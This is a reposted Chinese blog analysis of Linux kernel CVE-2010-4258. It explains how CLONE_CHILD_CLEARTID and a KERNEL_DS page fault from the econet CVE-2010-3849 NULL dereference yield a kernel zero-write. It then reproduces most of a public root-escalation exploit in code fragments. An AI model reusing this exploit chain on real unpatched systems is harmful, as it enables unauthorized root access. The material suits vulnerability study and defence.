【转】CVE-2010-4258 漏洞分析
一. 漏洞简介
CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。
二. 前置知识 (进程创建、退出)
1.当fork或者clone一个进程在的时候, copy_process执行如下操作:
- static struct task_struct *copy_process(unsigned long clone_flags,
- unsigned long stack_start,
- struct pt_regs *regs,
- unsigned long stack_size,
- int __user *child_tidptr,
- struct pid *pid,
- int trace)
- {
- p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
- /*
- * Clear TID on mm_release()
- */
- p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
- }
如果clone的flag带有CLONE_CHILD_CLEARTID标志,那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。
2.应用层调用clone函数,并传递CLONE_CHILD_CLEARTID标志,则child_tidptr指针就会被赋值给子进程的clear_child_tid
- clone((int (*)(void *))trigger,
- (void *)((unsigned long)newstack + 65536),
- CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
- &fildes, NULL, NULL, child_tidptr);
3.进程在退出的时候调用do_exit清理资源,调用路径如下:do_exit->exit_mm->mm_release
- /*
- * If we're exiting normally, clear a user-space tid field if
- * requested. We leave this alone when dying by signal, to leave
- * the value intact in a core dump, and to save the unnecessary
- * trouble, say, a killed vfork parent shouldn't touch this mm.
- * Userland only wants this done for a sys_exit.
- */
- if (tsk->clear_child_tid) {
- if (!(tsk->flags & PF_SIGNALED) &&
- atomic_read(&mm->mm_users) > 1) {
- /*
- * We don't check the error code - if userspace has
- * not set up a proper pointer then tough luck.
- */
- put_user(0, tsk->clear_child_tid);
- sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
- 1, NULL, NULL, 0);
- }
- tsk->clear_child_tid = NULL;
- }
上述代码中,如果tsk->clear_child_tid不为空,那么其会调用put_user(0, tsk->clear_child_tid);
4.put_user其实是一个宏,具体是__put_user_check函数,它会将tsk->clear_child_tid的值置为0
- #define __put_user_check(x,ptr,size) \
- ({ \
- long __pu_err = -EFAULT; \
- __typeof__(*(ptr)) __user *__pu_addr = (ptr); \
- __typeof__(*(ptr)) __pu_val = x; \
- if (likely(access_ok(VERIFY_WRITE, __pu_addr, size))) \
- __put_user_size(__pu_val, __pu_addr, (size), \
- __pu_err); \
- __pu_err; \
- })
__put_user_check函数会调用access_ok去检查传进来的参数是否合法
- #define access_ok(type,addr,size) _access_ok((unsigned long)(addr),(size))
- int _access_ok(unsigned long addr, unsigned long size)
- {
- if (!size)
- return 1;
- if (!addr || addr > (0xffffffffUL - (size - 1)))
- goto _bad_access;
- if (segment_eq(get_fs(), KERNEL_DS))
- return 1;
- if (memory_start <= addr && (addr + size - 1) < memory_end)
- return 1;
- _bad_access:
- pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",
- current->pid, addr, size);
- return 0;
- }
access_ok也是一个宏,具体函数为_access_ok,其主要对外部传进来的addr和size参数做合法性检查,其中关键调用语句如下
if (segment_eq(get_fs(), KERNEL_DS))
return 1;
# define get_fs() (current_thread_info()->addr_limit)
如果get_fs() = KERNEL_DS,那么_access_ok检查始终返回1.
三. 前置知识(无效地址访问异常)
每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等。
- int do_page_fault(struct pt_regs *regs, unsigned long address,
- unsigned int write_access, unsigned int trapno)
- {
- // ......
- die("Oops", regs, (write_access << 15) | trapno, address);
- do_exit(SIGKILL);
- }
而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件,这个很关键。
接下来看看CVE-2010-3849这个漏洞,它主要是一个0地址访问异常漏洞,msg->msg_name可以由用户空间控制,因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。
- static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
- struct msghdr *msg, size_t len)
- {
- struct sock *sk = sock->sk;
- struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
- eb->cookie = saddr->cookie;
- }
四. 漏洞利用
1.获取需要用到的函数地址
- /* Resolve addresses of relevant symbols */
- printf("[*] Resolving kernel addresses...\n");
- econet_ioctl = get_kernel_sym("econet_ioctl");
- econet_ops = get_kernel_sym("econet_ops");
- commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
- prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
2.申请一块新进程的栈空间
- if(!(newstack = malloc(65536))) {
- printf("[*] Failed to allocate memory.\n");
- return -1;
- }
3.处理好需要映射的地址,比较关键
- // econet_ops中保存了各个econet函数的地址指针,
- // 10 * sizeof(void *)到达econet_ioctl的下一个函数地址
- // 再-1,那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节
- target = econet_ops + 10 * sizeof(void *) - OFFSET;
- // 清掉econet_ioctl函数的高8字节
- landing = econet_ioctl << SHIFT >> SHIFT;
- // landing按页对齐,map了2个页的内存
- payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
- PROT_READ | PROT_WRITE | PROT_EXEC,
- MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
- if ((long)payload == -1) {
- rintf("[*] Failed to mmap() at target address.\n");
- return -1;
- }
- // 将提权代码拷贝到landing
- memcpy((void *)landing, &trampoline, 1024);
ps.这里要说明一下,这里为什么要把地址映射到(econet_ioctl&0x00FFFFFF)地址范围内,而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了,所以采用了一个很巧妙的小技巧。
可以调用查看下系统最低映射的地址,我这里是65536
4.clone进程
- // trigger用来触发CVE-2010-3849漏洞,是一个0地址访问异常
- int trigger(int * fildes)
- {
- int ret;
- struct ifreq ifr;
- memset(&ifr, 0, sizeof(ifr));
- strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
- ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
- if(ret < 0) {
- printf("[*] Failed to set Econet address.\n");
- return -1;
- }
- splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
- splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
- /* Shouldn't get here... */
- exit(0);
- }
- // clone进程,子进程调用trigger触发0地址访问的漏洞,进而将target指向的地址清0
- // 即清掉了econet_ioctl函数地址的高8字节
- clone((int (*)(void *))trigger,
- (void *)((unsigned long)newstack + 65536),
- CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
- &fildes, NULL, NULL, target);
5.最后ioctl函数触发底层的econet_ioctl函数执行,而econet_ioctl函数的高8字节已经被我们清零了,所以会调用到我们的map地址中,进而触发提权代码获得root权限
- sleep(1);
- printf("[*] Triggering payload...\n");
- ioctl(fildes[2], 0, NULL);
参考文章:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258
http://www.exploit-db.com/exploits/15704/
http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9
【转】CVE-2010-4258 漏洞分析的更多相关文章
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- CVE-2010-3971 CSS内存破坏漏洞分析
看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...
- jackjson学习2+CVE-2019-14379漏洞分析
最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅 昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分 ...
随机推荐
- centos7 nginx端口转发出现502的其中一种原因
在排查了一系列可能的原因后仍无法解决,经资料查阅可能是SELinux造成,SELinux很强大但若配置不当也会造成很多组件无法正常使用,这里直接将其关闭: //打开配置文件 vi /etc/selin ...
- asp.net mvc4中Json的应用
做一个简单的 Json实例,从页面获取后台的Json数据 1.控制台: public class HomeController : Controller { // // GET: /Home/ pub ...
- ASP.NET MVC4中使用bootstrip模态框时弹不出的问题
最近发现使用在MVC中使用bootstrip的模态框时弹不出来,但单独建立一HTML文件时可以弹出,说明代码没有问题,经过多次测试发现,在MVC的cshtml文件中添加上以下语句就能正常 @{ Lay ...
- BZOJ 1050 旅行(并查集)
很好的一道题.. 首先把边权排序.然后枚举最小的边,再依次添加不小于该边的边,直到s和t联通.用并查集维护即可. # include <cstdio> # include <cstr ...
- bzoj2257[POI2011]Programming Contest
首先可以费用流建图,左边一堆点表示人,右边一堆点表示题,源点向每个人连floor(t/r)条边,费用依次为r,2r,3r….然后写了一个卡不过去,动态加边也卡不过去,然后我想:这里一定有一些不为人知的 ...
- BZOJ4868 Shoi2017期末考试(三分+贪心)
容易想到枚举最晚发布成绩的课哪天发布,这样与ti和C有关的贡献固定.每门课要么贡献一些调节次数,要么需要一些调节次数,剩下的算贡献也非常显然.这样就能做到平方级别了. 然后大胆猜想这是一个凸函数三分就 ...
- 【国家集训队】聪聪可可 ——树形DP
感觉是一道很妙的树形DP题,充分利用到了树的性质(虽然说点分治也可以做,,,,但是本蒟蒻不会啊) 然而某Twilight_Sx大佬表示这道题真的非常水,,,本蒟蒻也只能瑟瑟发抖了 本蒟蒻表示还是要经过 ...
- HDOJ(HDU).1016 Prime Ring Problem (DFS)
HDOJ(HDU).1016 Prime Ring Problem (DFS) [从零开始DFS(3)] 从零开始DFS HDOJ.1342 Lotto [从零开始DFS(0)] - DFS思想与框架 ...
- [学习笔记]2-SAT 问题
(本文语言不通,细节省略较多,不适合初学者学习) 解决一类简单的sat问题. 每个变量有0/1两种取值,m个限制条件都可以转化成形如:若x为0/1则y为0/1等等(x可以等于y) 具体: 每个变量拆成 ...
- spring全局异常处理 自定义返回数据结构
在写api接口中,正常返回和异常错误返回我们都希望很清楚的将这些信息清楚的返回给用户,出现异常情况下需要清楚的知道是参数异常还是未知异常,而不是返回一个不正确的数据结构. 所以此处只针对写api接口时 ...